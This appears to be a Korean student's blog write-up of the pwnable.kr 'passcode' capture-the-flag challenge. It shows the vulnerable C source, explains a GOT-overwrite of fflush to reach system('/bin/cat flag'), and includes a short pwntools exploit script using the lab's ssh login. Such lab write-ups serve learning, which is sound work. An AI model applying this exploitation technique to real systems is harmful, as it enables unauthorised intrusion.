pwnable.kr -5- passcode

2023. 2. 23. 14:47Pwnable/Pwnable.kr

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

문제의 소스코드는 위와 같다.

 

 

집중해서 본 부분이다.

 

몇달전 선린인터넷 고등학교 신입생 교육때 scanf 를 배울때 예제코드는 아래와 같았다.

 

int a;

scanf("%d", &a)

 

하지만 위에서의 코드는 $가 붙어있지 않았다. 그렇게 구글링을 하여 보니

 

passcode 1 주소값에다 해당 데이터를 넣는 거라 했다.

 

그렇게 문제의 핵심 부분을 찾아낼 수 있었다.

 

 

이후 이 부분을 잘 보았는데 fflush 함수는 

 

버퍼를 비운다...? 해서 버퍼오버플로우를 방지하는 건가 싶고 넘어갔다.

 

그렇다면 핵심포인트는 fflush 함수가 실행되기 전에 어떻게든 플래그를 탈취하라는 것 아닌가 싶었다

 

우선 offset 을 구해서 어떻게 해야 passcode1 값을 활용할 수 있는지 판단해보기로 했다. 그렇게 gdb를 열어 분석을 했다.

 

 

login 함수 부분을 뜯어보니 ebp - 0x10 으로 name 을 저장한다. 이후 welcome 함수를 뜯어보았다.

 

 

이후 ebp -0x70 부분에 passcode1을 저장하는 거 같았다.

 

그렇게 거리를 구해보면

 

0x70 - 0x 10 = 0x60 --> 96 으로

 

dummy 값 * 96 을 넣으면 passcode1에 메모리 영역이 등장한다.

 

이후 passcode1 부분에 fflush 의 got 주소를 찾아내고 해당 GOT 주소를 시스템 함수로 넣는다면 함수 GOT이 실행되지만 system('cat flag') 로 작동되게 만들 수 있을 것이다.

 

이를 이해하려면 Got Over write 이라는 공격기법을 이해해야 했다. 그렇게 구글링을 열심히 했다...

 

조금 그림으로 정리해 보았다.

 

 

대충 이렇게 될 거 같았다.

 

 

그렇게 PLT fflush 의 함수에 진짜 주소인 got 주소를 찾았다.

 

fflush = 0x804a004

 

이후 system 함수의 시작부분을 찾아야 한다.

 

 

매우 친절하게 /bin/cat flag 로 되어있는데 해당 부분을 찾아 문자열로 출력시켰을때 해당 문자가 뜨면 아마 그 부분이 시작 주소일 것이다.

 

 

system을 실행하기 바로 위에 있는 주소인 0x080485e3 넣으면 될 것이다.

 

이후 scanf 는 정수형으로 받아내기에 해당 값을 정수형으로 변화를 시켜야 한다.

 

이는 pwntools 을 활용하면 매우 쉽게 바꿀 수 있을 것이다. str(system)

 

 

 

그렇게 exploit 코드를 작성 했다.

 

from pwn import *


s = ssh('passcode', 'pwnable.kr', password='guest', port=2222)
p = s.process('/home/passcode/passcode') ##ssh 접속

system = 0x080485e3 #시스템 시작 주소

payload = b'A' * 96 + p32(0x804a004)
payload2=str(system)
p.sendline(payload) # name 값 입력을 통해 passcode 1 에 fflush got 주소 저장
p.sendline(payload2)# passcode 1: 입력에서 정수형으로 system 함수 주소 저장 및 실행

#p.interactive() # 필요없음.. 삽질의 흔적

data = p.recvrepeat(2048) (출력되는 데이터 저장)
print (data) (데이터 출력 ## 플래그 출력)

 

이후 익스플로잇을 해 보았다 !

 

 

 

야호 ! 오늘도 성공이담

 

푸는데 삽질을 굉장히 많이 했다..

 

v

굉장한 삽질의 흔적...

'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr - 6 - random  (0) 2023.02.23
Pwnable.kr - 4 - flag  (0) 2023.01.26
Pwnable.kr - 3 - bof  (0) 2023.01.25
Pwnable.kr -2- col  (0) 2023.01.25
pwnable.kr - 1 - fd  (0) 2023.01.25